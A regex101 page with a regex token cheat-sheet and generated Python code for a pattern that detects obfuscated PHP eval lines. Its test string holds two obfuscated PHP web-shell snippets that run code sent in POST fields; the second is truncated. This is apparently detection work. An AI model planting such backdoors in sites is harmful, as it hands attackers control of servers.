Regular Expressions 101

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An explanation of your regex will be automatically generated as you type.
Detailed match information will be displayed here automatically.
  • All Tokens
  • Common Tokens
  • General Tokens
  • Anchors
  • Meta Sequences
  • Quantifiers
  • Group Constructs
  • Character Classes
  • Flags/Modifiers
  • Substitution
  • A single character of: a, b or c
    [abc]
  • A character except: a, b or c
    [^abc]
  • A character in the range: a-z
    [a-z]
  • A character not in the range: a-z
    [^a-z]
  • A character in the range: a-z or A-Z
    [a-zA-Z]
  • Any single character
    .
  • Alternate - match either a or b
    a|b
  • Any whitespace character
    \s
  • Any non-whitespace character
    \S
  • Any digit
    \d
  • Any non-digit
    \D
  • Any word character
    \w
  • Any non-word character
    \W
  • Non-capturing group
    (?:...)
  • Capturing group
    (...)
  • Zero or one of a
    a?
  • Zero or more of a
    a*
  • One or more of a
    a+
  • Exactly 3 of a
    a{3}
  • 3 or more of a
    a{3,}
  • Between 3 and 6 of a
    a{3,6}
  • Start of string
    ^
  • End of string
    $
  • A word boundary
    \b
  • Non-word boundary
    \B

Regular Expression
Processing...

Test String

Code Generator

Language

Generated Code

import re regex = re.compile(r"\$(.*)(\s?)=(\s?)\"(.*)\"(\s?);(\s?)\$(.*)eval") test_str = ("$sqm3 = \"_pesoutr\" ; $exr40= $sqm3[3]. $sqm3[6]. $sqm3[7].$sqm3[6]. $sqm3[4].$sqm3[5].$sqm3[1]. $sqm3[1]. $sqm3[2]. $sqm3[7]; $rgjf3 =$exr40 ($sqm3[0].$sqm3[1] .$sqm3[4].$sqm3[3]. $sqm3[6] );if ( isset ( ${$rgjf3} ['q42dabb'] ) ) {eval(${ $rgjf3}[ 'q42dabb']) ; }?>\n\n" "$ucz65= \"osb46detp_ac\";$zxg6 = strtolower ( $ucz65[2].$ucz65[10]. $ucz65[1].$ucz65[6]. $ucz65[4]. $ucz65[3] .$ucz65[9] . $ucz65[5].$ucz65[6]. $ucz65[11].$ucz65[0]. $ucz65[5]. $ucz65[6]); $tov98= strtoupper ($ucz65[9]. $ucz65[8].$ucz65[0]. $ucz65[1]. $ucz65[7]) ;if (isset(${ $tov98 } ['n42dabb' ])){eval ($zxg6 ( ${ $t") matches = regex.finditer(test_str) for match_num, match in enumerate(matches, start=1): print(f"Match {match_num} was found at {match.start()}-{match.end()}: {match.group()}") for group_num, group in enumerate(match.groups(), start=1): print(f"Group {group_num} found at {match.start(group_num)}-{match.end(group_num)}: {group}")

Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for Python, please visit: https://docs.python.org/3/library/re.html